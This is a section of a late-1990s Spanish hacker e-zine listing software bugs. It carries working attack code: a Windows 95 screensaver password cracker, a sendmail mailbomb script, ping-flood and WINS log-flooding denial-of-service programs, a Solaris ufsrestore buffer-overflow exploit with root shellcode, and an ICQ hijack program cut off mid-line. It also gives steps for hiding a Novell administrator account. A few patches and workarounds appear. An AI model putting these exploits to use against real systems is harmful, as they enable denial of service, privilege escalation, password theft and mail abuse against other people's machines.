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Los bugs del mes
Autor: SET Staff
-[ 0x0A ]-------------------------------------------------------------------- -[ LOS BUGS DEL MES ]-------------------------------------------------------- -[ by SET Staff ]-----------------------------------------------------SET-15- -( 0x01 )- Para : Macromedia DreamWeaver Tema : Inseguridad en los password Patch : Y eso que es? Creditos : Jeff Forristal Decripcion y Notas: Pues resulta que si almacenamos las claves de acceso al servidor FTP com el Macromedia DreamWeaber, estas se guardan en el registro de Windows, concretamente en: /HKEY_CURRENT_USER/Software/Macromedia/Dreamweaver/Sites/-Site(x)/User PW Si, de acuerdo, se usa un sistema de cifrado para proteger los datos. Exactamente el mismo sistema que con el Ws_FTP, algo asi como convertir los caracteres a hexadecimal y sumarles su desplazamiento en la cadena, comenzando por el 0. (Uf!, ni el PGP ;) ) Parche... Quien necesita parche. Macromedia ha sido avisada y consideran que no es un fallo lo suficientemente grave como para desarrollar un parche. Que todo el mundo tenga acceso a nuestra clave no es grave, que va. Solo es un simple fallo. -( 0x02 )- Para : RedHat Linux 5.1 Tema : Permisos Patch : ftp://ftp.redhat.com/updates/5.1/i386/linuxconf-1.11r11-rh3.i386.rpm : ftp://ftp.redhat.com/updates/5.1/alpha/linuxconf-1.11r11-rh3.alpha.rpm Creditos : Michael K. Johnson Descripcion y Notas: Se trata simplemente de un error en los permisos del programa linuxconf que acompa€a a la distribucion de RedHat desde su version 5.0. Inadvertidamente el programa se instala con SetUID root, con lo que esto conlleva. Asi, cualquier usuario podria modificar la configuracion como si fuese el root. La solucion es tan simple como hacer: chmod -s /bin/linuxconf O bien, bajarse los correspondientes parches arriba indicados. -( 0x03 )- Para : Salvapantallas de Windows 95 Tema : Password Patch : Nada tan simple como no usar W95 Creditos : CrazyLinux <++> set_015/exploits/95sscrk.bas DECLARE FUNCTION DecryptByte! (bytes!, ya!) DECLARE FUNCTION HexVal! (coder$) DIM SHARED byte(16) AS INTEGER CLS PRINT "Crazydog's w95 screensaver cracker, basic version" INPUT "Input char part of ScreenSave_Data(from registry):", code$ z = LEN(code$): IF z MOD 2 <> 0 THEN PRINT "Must be even # of chars!": END ON ERROR GOTO 40 FOR y = 1 TO z STEP 2 balon = balon + 1 nibbleone$ = MID$(code$, y, 1): nibbletwo$ = MID$(code$, y + 1, 1) mega = (HexVal(nibbleone$) * 16) + HexVal(nibbletwo$) IF HexVal(nibbletwo$) < 0 THEN mega = -255 ' one if only. IF mega < 0 THEN PRINT "That didn't make any sense.": END byte(y) = DecryptByte(mega, balon): wilma$ = wilma$ + CHR$(byte(y)) NEXT y PRINT "The code is: "; wilma$; " (case insensitive)" END 40 PRINT "[unknown]": END FUNCTION DecryptByte (bytes, ya) DIM xorpattern(31) AS INTEGER xorpattern(1) = &H48: xorpattern(2) = &HEE: xorpattern(3) = &H76 xorpattern(4) = &H1D: xorpattern(5) = &H67: xorpattern(6) = &H69 xorpattern(7) = &HA1: xorpattern(8) = &H1B: xorpattern(9) = &H7A xorpattern(10) = &H8C: xorpattern(11) = &H47: xorpattern(12) = &HF8 xorpattern(13) = &H54: xorpattern(14) = &H95: xorpattern(15) = &H97 xorpattern(16) = &H5F DecryptByte = bytes XOR xorpattern(ya) END FUNCTION FUNCTION HexVal (coder$) coder$ = UCASE$(coder$) SELECT CASE coder$ CASE "0" whee = 0 CASE "1" whee = 1 CASE "2" whee = 2 CASE "3" whee = 3 CASE "4" whee = 4 CASE "5" whee = 5 CASE "6" whee = 6 CASE "7" whee = 7 CASE "8" whee = 8 CASE "9" whee = 9 CASE "A" whee = 10 CASE "B" whee = 11 CASE "C" whee = 12 CASE "D" whee = 13 CASE "E" whee = 14 CASE "F" whee = 15 CASE ELSE whee = -21 END SELECT HexVal = whee END FUNCTION <--> Descripcion y Notas: Algo tan basico y tan simple como descubrir las claves que cualquier usuario tiene puesto a su salvapantallas en W95. Nada mas mirar en el registro, y la clave que aparece, en hexadecimal, esta codificada de la misma forma que comentabamos previamente con el bug del Macromedia DreamWeaver. Seguro que tambien consideran que es un fallo trivial. -( 0x04 )- Para : K6 Tema : Cuelgue total Patch : AMD didn't know it Creditos : Benoit Poulot-Cazajous $ cat a.s .text .align 4096 .globl _start _start: movl _start, %edi cmpb 0x80000000(%edi),%dl je nowhere ret $ as -o a.o a.s $ ld -defsym nowhere=0xc0000000 a.o $ ./a.out Descripcion y Notas: Pues tan simple y tan sencillo como colgar procesador K6 usando Linux. Al parecer esto ya se ha solucionado con el kernel 2.1.43 y posiblemente con el 2.0.34. De todas formas, AMD aun no se ha pronunciado al respecto. Quizas por su nueva alianza con Micro$oft para las nuevas extensiones 3D de su nuevo micro. No se, no se, pero tengo la impresion que voy a desempolvar mi viejo Z80, que ese ni con F0 0F C7 C8, ni con esta cosa nueva se me cuelga. Ademas, ya le estan desarrollando una version de Linux ;) -( 0x05 )- Para : FreeBSD 2.2.* Tema : Crash Patch : ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-98:05/ Creditos : Aleph One Descripcion y Notas: Veamos como lo explico... Ah, si! Al intentar hacer un hard link, el kernel debe comprobar si el enlace y el fichero estan en el mismo sistema de ficheros. Pero resulta que cuando hacemos el enlace de un fichero de dispositivo a un fichero, el sistema puede venirse abajo. -( 0x06 )- Para : SendMail 8.8.8 Tema : Autentificacion Patch : Aqui mismito Creditos : Michal Zalewski & Valentin Pavlov (Parche) <++> set_015/exploits/safebomb.sh #!/bin/bash TMPDIR=/tmp/`whoami` PLIK=$TMPDIR/.safe TIMEOUT=2 LIMIT=10 MAX=20 echo echo "SafeBomb 1.02b -- sendmail HELO hole usage example" echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>" echo if [ "$4" = "" ]; then echo "USAGE: $0 msgfile address server sender" echo echo " msgfile - file to send as a message body" echo " address - address of lucky recipient" echo " server - outgoing smtp server w/sendmail" echo " sender - introduce yourself" echo echo "WARNING: For educational use ONLY. Mailbombing is illegal." echo "Think twice BEFORE you use this program in any way. Also," echo "I've never said this program is 100% safe nor bug-free." echo sleep 1 exit 0 fi if [ ! -f $1 ]; then echo "Message file not found." echo exit 0 fi echo -n "Preparing message..." mkdir $TMPDIR &>/dev/null chmod 700 $TMPDIR echo "echo \"helo _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebo mb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb __safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_ _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_\"" >$PLIK echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK echo "echo \"rcpt to: $2\"" >>$PLIK echo "echo \"data\"" >>$PLIK echo "cat <<__qniec__" >>$PLIK cat $1 >>$PLIK echo "__qniec__" >>$PLIK echo "echo \".\"" >>$PLIK echo "echo \"quit\"" >>$PLIK echo "sleep $TIMEOUT" >>$PLIK chmod +x $PLIK echo "OK" echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort." SENT=0 while [ -f $1 ]; do $PLIK|telnet $3 25 &>/dev/null & let SENT=SENT+1 echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b" CONNECTED=`ps|grep -c "telnet $3"` if [ "$LIMIT" -le "$CONNECTED" ]; then while [ "$LIMIT" -le "$CONNECTED" ]; do sleep 1 done fi if [ "$SENT" -ge "$MAX" ]; then echo "It's just an example, sorry." echo exit 0 fi done <--> Descripcion y Notas: Se trata de un problema basico de identificacion. Cuando conectamos con el demonio de correo y procedemos a identificarnos con HELO, podemos introducir una cadena de un minimo de 1024 Bytes, con lo que el resto de los datos no se registran. Un simple parche nos lo pone Val "Capone". Nos recomienda recompilar el sendmail, incluyendo la siguiente linea en el fichero conf.h: #define PICKY_HELO_CHECK 1 Con esto forzamos al sendmail a realizar un procedimiento de autentificacion. -( 0x07 )- Para : Windows 95/98/NT Tema : AutoRun Patch : Desactivar el AutoRun Creditos : Matt Hallacy Descripcion y Notas: Pues supongamos una maquina bloqueada con un password, bien sea el salvapantallas, bien el bloqueo de NT... Si introducimos un CD con autoejecucion, el programa en cuestion sera ejecutado, desbloqueando el ordenador. -( 0x08 )- Para : HP UX Tema : CoreDump Patch : Pues parece que no es muy necesario Creditos : dauphin Robert Descripcion y Notas: Y seguimos con los problemas de los buffers... Y es que claro, como nadie les presta nunca atencion... Mis pobres buffers, que me los dejan abandonados. Se trata de que al hacer un simple finger con un usuario que tenga mas de 200 caracteres el sistema realiza un coredump. Si alguien le quiere sacar provecho, pues ahi lo tiene. -( 0x09 )- Para : Netscape Tema : DoS Patch : Tan simple como tener cuidado con los esguinces de dedos Creditos : Robert Thomas Descripcion y Notas: Cuando configuramos nuestro navegador Netscape para que use algun proxy en la conexion, podemos hacerlo a traves de la autoconfiguracion del proxy. Resulta que en ocasiones podemos introducir una cadena erronea de retorno, como. Por ejemplo, la cadena correcta seria: return "PROXY 10.1.1.1:8080; PROXY 10.1.1.2:8080; DIRECT"; que indica que se use elproxy 10.1.1.1, si no responde, el 10.1.1.2, y si no responde tampoco, pues probar la conexion directa. Ahora supongamos que la cadena en cuestion es: return "PROXY 10.1.1.18080; PROXY 10.1.1.2:8080; DIRECT"; Pues se espera que diga que 10.1.1.18080 no es una direccion valida, o se busque la vida con los 8 bits mas bajos de 18080. Pues no, Netscape es mas cachondo y va y nos cuelga... Asi que mas cuidado al introducir los datos, ok? -( 0x0A )- Para : Novell Netware 4.x Tema : Cuentas ocultas Patch : Borrar la cuenta Creditos : Un tal jdrodriguez Descripcion y Notas: Pongamonos en el lugar de un administrador de Novell y ejecutemos la siguiente secuencia de instrucciones: 1 - Ejecutamos NWADMIN. 2 - Creamos un usuario. 3 - Le damos al usuario privilegios de administrador. 4 - Pulsamos con el boton derecho sobre el usuario. [ Ay! Que se me empieza a parecer al Potato 95 ] 5 - Seleccionamos las trustees. 6 - Eliminamos las trustees Root y Public. 7 - Seleccionamos al usuario y cambiamos sus derechos (objeto y propiedad). 8 - Le asignamos solo Supervisor. [ Para que mas ;) ] 9 - Seleccionamos el Filtro de Derechos de Herencia. [ Hasta los programas se pelean por el testamento XDD ] 10 - Deseleccionamos todos los valores. 11 - Regresamos a la pantalla principal de NWADMIN. 12 - Refrescamos la pantalla. 13 - La cuenta del usuario ha desaparecido !! Podemos probar como queramos, que la cuenta no aparecera disponible, pero sigue ahi. Para eliminarla, deberemos arrancar el servidor en modo bindery. Ahora a€adimos SET BINDERY CONTEXT en el fichero AUTOEXEC.NCF Una vez hecho esto, usamos el programa USERDUMP para obtener la ID del usuario y cambiamos la password con el programa CHGPASS. Solo nos queda entrar como el usuario y seguir los anteriores pasos a la inversa. En especial, reestablecer las trustees de Root y Public. Y ya esta. -( 0x0B )- Para : Ping Tema : Flood Patch : Sentido comun Creditos : AntireZ <++> set_015/exploits/pingflood.c /* pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330@mclink.it> enhanced by David Welton <davidw@cks.com> I tested it only on Linux RedHat 4.1 and 5.0. David Welton tested it on Debian GNU/Linux and OpenBSD reporting it works. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. ------------------------------------------------------------------------- pingflood.c allows non-root users to 'ping flood'. use it as follows: pingflood <hostname> WARNING: this program is only for demonstrative use only. USE IT AT YOUR OWN RISK! The authors decline all responsibility for damage caused by misuse of the program. *** if you use this program to cause harm to others, you are very small, petty and pathetic. *** to compile: gcc -o pingflood pingflood.c ------------------------------------------------------------------------- TECHNICAL NOTES When ping runs it normally sends an ICMP ECHO_REQUEST every second. It accomplishes this using the alarm system call and waiting for a SIGALRM signal from the kernel. Pingflood simply sends a lot of SIGALRM signals to the ping process. It can do this because the ping process is owned by the user. Salvatore Sanfilippo */ #include <signal.h> #define PING "/bin/ping" main( int argc, char *argv[] ) { int pid_ping; if (argc < 2) { printf("use: %s <hostname>\n", argv[0]); exit(0); } if(!(pid_ping = fork())) execl(PING, "ping", argv[1], NULL); if ( pid_ping <=0 ) { printf("pid <= 0\n"); exit(1); } sleep (1); /* give it a second to start going */ while (1) if ( kill(pid_ping, SIGALRM) ) exit(1); } <--> Descripcion y Notas: El programa ping no es mas que un paquete ICMP ECHO, que se envia a un host para ver si este responde. Cuando hacemos un ping a una maquina, esta tiene que procesarlo. Y aunque se trate de un proceso sencillo, pues no es mas que ver la direccion de origen y enviarle un paquete ICMP ECHO_REPLY (pong), siempre consume recursos del sistema. Si no es un ping, sino que son varios a la vez, pues la maquina se vuelve mas lenta. Pero si lo que pasa es que recibe un monton de solicitudes ICMP ECHO_REQUEST (ping), puede que la maquina se colapse. Pero lo que hace este programa es otra cosa muy similar ;) Veamos. El proceso ping tambien consume recursos en nuestra maquina, y lo habitual es que se envie un ICMP ECHO_REQUEST cada segundo, por defecto. Para saber cuando se tiene que enviar un ping, el sistema usa la se€al SIGALRM. Cuando se produce la se€al, se envia el ping. Lo que hace pingflood no es ni mas ni menos que generar continuas se€ales SIGALRM, con lo que el programa ping puede no dar abasto y colapsarse <-> flood -( 0x0C )- Para : Windows NT 3.51/4 Tema : Inconsistencia del sistema Patch : Linux, linux, linux... Lo habia dicho ya? ;) Creditos : Crank & Phuzz <++> set_015/exploits/coke.c /* coke.c */ /* coke +0.34 by crank and phuzz this little program exploits windowsnt servers 3.51/4.0 which are running wins (windows internet name service). depending on how the systems logging is configured it will create errors in the event logs, which will cause in a lack of the systems preformance, as well as available hard disk space. i've known about this exploit for sometime now, and thought everyone else did. but i never have seen anything for it. so here it is. coderight: you may use any code shown as long as credit is given. credit goes to: neonsurge who discovered this. justin marcus who also discovered this. tested on: slackware kernel 2.0.32 kernel 2.0.33 debian kernel 2.0.33 redhat kernel 2.1.95 compile: gcc -o coke coke.c */ #include <stdio.h> #include <netdb.h> #include <errno.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> /* defines */ #define GARBAGE "just a bunch of crap really does not matter" #define VERSION "+0.34" /* variables */ char *buf, *hn; int s, soc, con, i; int count, x; int twirl = 3; int countstr = 0; /* prototypes */ int twirly(int *twirl); void usage(char *argv[]); int main(int argc, char *argv[]); int sendPacket(char *buf, char *argv[]); /* structures */ struct sockaddr_in blah; struct hostent *hp; /* let the fun begin */ int main(int argc, char *argv[]) { if (argc < 3) { usage(argv); } /* create the garbage */ buf = (char *)malloc(10000); for (i = 0; i < 25; i++) strcat(buf, GARBAGE); strcat(buf, "\n"); printf("coke %s crank|phuzz\n\n",VERSION); sendPacket(buf,argv); for (x = 0; x <= count; x++) { sendPacket(buf,argv); /* just purdy stuff */ fprintf(stderr, "\rsending packet: %d (%c)", x, twirly(&twirl)); if (count <= 200) usleep(1500*(10)); else usleep(700*(10)); /* lets send the garbage to the server */ } fprintf(stderr, "\rsending packet: %d (caffine will kill you)",--x); printf("\n"); close(soc); /* free up our memory like good programmers */ free(buf); /* done so we wont reach the end of a non-void function */ exit(0); } int sendPacket(char *buf, char *argv[]) { hn = argv[1]; hp = gethostbyname(hn); /* number of packets to send */ count=(atoi(argv[2])); /* check target */ if (hp==NULL) { perror("coke: gethostbyname()"); exit(0); } bzero((char*)&blah, sizeof(blah)); bcopy(hp->h_addr, (char *)&blah.sin_addr, hp->h_length); blah.sin_family = hp->h_addrtype; blah.sin_port = htons(42); /* create a socket */ soc = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!soc) { perror("coke: socket()"); close(soc); exit(1); } /* connect to target */ con = connect(soc, (struct sockaddr *)&blah, sizeof(blah)); if (!con) { perror("coke: connect()"); close(soc); exit(1); } sendto(soc, buf, strlen(buf),0 ,(struct sockaddr *)&blah, sizeof(struct sockaddr)); close(soc); return(0); } int twirly(int *twirl) { if (*twirl > 3) *twirl = 0; switch ((*twirl)++) { case 0: return('|'); break; case 1: return('/'); break; case 2: return('-'); break; case 3: return('\\'); break; } return(0); } /* for retards */ void usage(char *argv[]) { printf("coke %s crank|phuzz\n\nusage: %s <target> <number of packets to send>\n",VERSION,argv[0]); exit(0); } <--> Descripcion y Notas: Con este codigo simplemente conseguiremos llenar de basura un servidor NT 3.51/4.0, apareciendo registros erroneos en los logs como cosa mas significativa. El problema principal es el consecuente aumento del tama€o del archivo de logs, que si crece demasiado puede comenzar a causar problemas en el sistema. Existe una solucion muy simple, que se basa en limitar el tama€o de los archivos de logs, con lo que sabemos que nunca causara problemas de este tipo. Pero nos arriesgamos a perder entradas interesantes en los mismos. Para evitarlo existen multitud de soluciones del estilo de almacenar estos datos directamente en un backup, sacarlo por impresora, etc. A gusto del consumidor, vamos. -( 0x0E )- Para : Pine/Pico 3.96 Tema : Caracteres de control Patch : Sigue leyendo Creditos : Michal Zalewski <++> set_015/exploits/pinepico.patch --- display.c.orig Wed Jul 10 18:59:09 1996 +++ display.c Sat Apr 25 14:23:41 1998 @@ -266,7 +266,7 @@ } while ((vtcol&0x07) != 0); } - else if (c.c < 0x20 || c.c == 0x7F) { + else if (c.c < 0x20 || c.c == 0x7F || c.c == 0x9B) { ac.c = '^'; vtputc(ac); ac.c = (c.c ^ 0x40); <--> Descripcion y Notas: Aqui tenemos otro fallo mas del Pine 3.96 y el Pico que le acompa€a ;) Se trata de un error en el manejo de los caracteres de control, que dejan el riesgo potencial de la ejecucion de cualquier comando. Por poner un ejemplo, al editar un fichero que contenga tan solo dos bytes: 0x9B 0x63. Nada como ejecutarlo para ver el gran riesgo que esto supone, mas cuando el error aparece en Pico, pero Pine lo usa a la hora de componer los mensajes... Como regalito, se incluye el patch, tambien proporcionado por Michal, que ya viene apareciendo como habitual de esta seccion. -( 0x0F )- -( 0x10 )- Para : Solaris 2.4/2.5.x/2.6 Tema : ufsrestore Patch : Pues por la pagina de SUN Creditos : Humble <++> set_015/exploits/ufs_bug.c // ufsrestore solaris 2.4, 2.5, 2.5.1, 2.6 exploit // by humble // thanks to plaguez for help #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 300 #define EXTRA 100 #define STACK_OFFSET -600 #define SPARC_NOP 0xac15a16e // normal shell code cept I added a bunch of sll's and add's // to get rid of a 2f '/' in there (from the sethi 0xbdcda, %l7) // I don't know sparc assembly so this might be dumb :P // also added code to do seteuid(0); setuid(0); from erik's buffer // overrun page u_char sparc_shellcode[] = "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08" "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\xae\x10\x2b\xdc\xaf\x2d\xe0\x01\xae\x05\xe0\x01" "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01" "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01" "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x01" "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x0a" "\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0,a=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); printf("hit ctrl-c and then type y\n"); execl("/usr/lib/fs/ufs/ufsrestore", &buf[4],"if", "-",(char *) 0); perror("execl failed"); } <--> Descripcion y Notas: Pues de momento baste decir que es un simple exploit que se aprovecha de un fallo en la implementacion del ufsrestore en Solaris. -( 0x11 )- Para : ICQ Tema : Hijack Patch : No usar ICQ. Cuantas veces tendre que repetirlo Creditos : Wumpus <++> set_015/exploits/icq_hijack.c /* . ICQ Hijaak . Version 1C . . Author: wumpus@innocent.com . Copyright (c) 1998 Wolvesbane . . By downloading or compiling this program, you agree to the terms of this . license. If you do not agree with any of these terms you MUST delete this . program immediately from all storage areas (including browser caches). . (A) You agree not to use this program in any way that would constitute a . violate of any applicable laws. This may included federal laws if you . live in the United States and similar laws regarding computer security . in other countries. . (B) You agree to hold the authors (referred to collective as Wolvesbane) . harmless in any damages that result due to your possession or use of . this software. . (C) Wolvesbane does not claim that this program implements any functions. . As the saying goes, "You get what you pay for." -- And you didn't pay . anything for this. . (D) This software is FREE for _NON-COMMERCIAL_ use. You may not use this . program for any commercial use (or any other activity which makes you . money with the assistance of this program ). The author is not . interested in commercial use of this program (and cannot think of what . commercial use would consist of ). . (E) This program was created using Linux with IP-Masquerading to run the . ICQ program unmodified and without any dissassembly. The testing . was done with volunteers, and with a second computer logged into the . ICQ network. No ICQ users were harmed in the creation or testing of . this program. . (F) This copyright applies only to the code written by Wolvesbane, and not . to anything included under Fair Use. . (G) Please note that if you use ANY sections of this code in your work, . (which I expressly allow as long as it is NON-COMMERCIAL), you are . obligated to give me some credit in your comments (if it is a source . file ) or in a string constant if it is a binary file. If you do not . wish to do so, you may NOT include ANY portion of this file in your . own work. */ #include <arpa/inet.h> #include <netdb.h> #include <netinet/in.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> /* for AF_INET */ #include <sys/time.h> #include <sys/types.h> #include <unistd.h> int MultiResolve( char * hostname, int * addr_count, struct in_addr ** addresses ); enum { FAILURE = -1, SUCCESS = 0 }; /*=========================================================================*/ typedef unsigned short int u16; typedef unsigned long int u32; typedef unsigned char u8; /*=========================================================================*/ #define byte(v,o) (*((u8 *)(&(v))+(o))) #define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o)) )) #define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o)) )) unsigned char icq_check_data[256] = { 0x0a, 0x5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75, 0x20, 0x63, 0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64, 0x69, 0x66, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x20, 0x49, 0x43, 0x51, 0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73, 0x2e, 0x20, 0x4a, 0x75, 0x73, 0x74, 0x20, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x66, 0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73, 0x63, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x49, 0x43, 0x51, 0x20, 0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61, 0x6e, 0x65, 0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65, 0x64, 0x69, 0x74, 0x3a, 0x20, 0x45, 0x72, 0x61, 0x6e, 0x0a, 0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61, 0x6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x20, 0x77, 0x68, 0x61, 0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61, 0x69, 0x64, 0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63, 0x6b, 0x20, 0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75, 0x73, 0x65, 0x72, 0x20, 0x74, 0x6f, 0x20, 0x67, 0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61, 0x6c, 0x6f, 0x67, 0x20, 0x6f, 0x66, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x73, 0x20, 0x73, 0x65, 0x6e, 0x74, 0x20, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e }; #define MAX_NUM_ADDRESSES 255 int Resolve( char * hostname, struct in_addr * addr ) { struct hostent * hinfo; (void)memset( (void *)addr, 0, sizeof( struct in_addr )); if ( inet_aton( hostname, addr) ) return SUCCESS; if ( !(hinfo = gethostbyname( hostname ) ) ) return FAILURE; (void)memcpy( (void *)addr, (void *)hinfo->h_addr, sizeof(struct in_addr )); return SUCCESS; } int MultiResolve( char * hostname, int * addr_count, struct in_addr ** addresses ) { int host_count; int i; char * p; struct in_addr address; struct hostent * hinfo; if ( inet_aton( hostname, &address ) ) { p = (char *)malloc(sizeof(address)); if ( !p ) { fprintf(stderr,"MultiResolve: Allocation failed!\n"); return FAILURE; } (void)memcpy((void *)p,(void *)&address, sizeof(address) ); *addr_count = 1; *addresses = (struct in_addr *)p; return SUCCESS; } if ( !(hinfo = gethostbyname(hostname) ) ) return FAILURE; if ( hinfo->h_length != sizeof( struct in_addr ) ) { fprintf(stderr,"MultiResolve: h_length (%d) not equal "\ "to size of struct inaddr (%d) ", hinfo->h_length, sizeof(struct in_addr) ); return FAILURE; } host_count = 0; for (i = 0; i < MAX_NUM_ADDRESSES; i++ ) { struct in_addr * addr_ptr; addr_ptr = (struct in_addr *)hinfo->h_addr_list[i]; if ( !addr_ptr ) break; host_count++; } p = (char *)malloc( host_count * hinfo->h_length ); if ( !p ) { fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n", host_count * hinfo->h_length ); return FAILURE; } *addresses = (struct in_addr *)p; for ( i = 0; i < host_count; i++ ) { (void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i], hinfo->h_length ); p += hinfo->h_length; } *addr_count = host_count; return SUCCESS; } #define IP_VERS 0 #define IP_TOS 1 #define IP_TOTLEN 2 #define IP_ID 4 #define IP_FLAGS 6 #define IP_TIMETOLIVE 8 #define IP_PROTOCOL 9 #define IP_CHECKSUM 10 #define IP_SRC 12 #define IP_DST 16 #define IP_END 20 #define UDP_SOURCE 0 #define UDP_DEST 2 #define UDP_LENGTH 4 #define UDP_CHECKSUM 6 #define UDP_END 8 #define UCHDR_SOURCE 0 #define UCHDR_DEST 4 #define UCHDR_PROTOCOL 9 #define UCHDR_UDPLEN 10 #define UCHDR_END 12 #define ICMP_TYPE 0 #define ICMP_CODE 1 #define ICMP_CHECKSUM 2 #define ICMP_END 4 u16 cksum( u16 * buf, int numWords ) { u32 sum; sum = 0; while ( numWords -- ) { sum += *(buf++); } sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 ); return ~sum ; } void make_ip_hdr( u8 * packet, int length, u8 protocol, u16 id, u16 flags, struct in_addr me, struct in_addr you, u8 ttl ) { memset( packet, 0, IP_END ); byte(*packet, IP_VERS ) = 0x45; word(*packet, IP_TOTLEN ) = htons( length ); byte(*packet, IP_TIMETOLIVE ) = ttl; byte(*packet, IP_PROTOCOL ) = protocol; word(*packet, IP_ID ) = htons( id ); word(*packet, IP_FLAGS ) = htons( flags ); dword(*packet,IP_SRC ) = *((u32 *)&me); dword(*packet,IP_DST ) = *((u32 *)&you); word(*packet, IP_CHECKSUM ) = cksum( (u16 *)packet, IP_END/2 ); } void make_udp_hdr( u8 * packet, int udplength, u16 sport, u16 dport ) { u8 * udp; static u8 chdr[UCHDR_END]; u32 pchecksum; memset( chdr, 0, UCHDR_END ); udp = packet + ( ( byte(*packet, IP_VERS ) & 0x0F ) * 4 ); memset( udp, 0, UDP_END ); word(*udp, UDP_SOURCE ) = htons( sport ); word(*udp, UDP_DEST ) = htons( dport ); word(*udp, UDP_LENGTH ) = htons( udplength ); memcpy( chdr + UCHDR_SOURCE, packet + IP_SRC, 8 ); byte( *chdr, 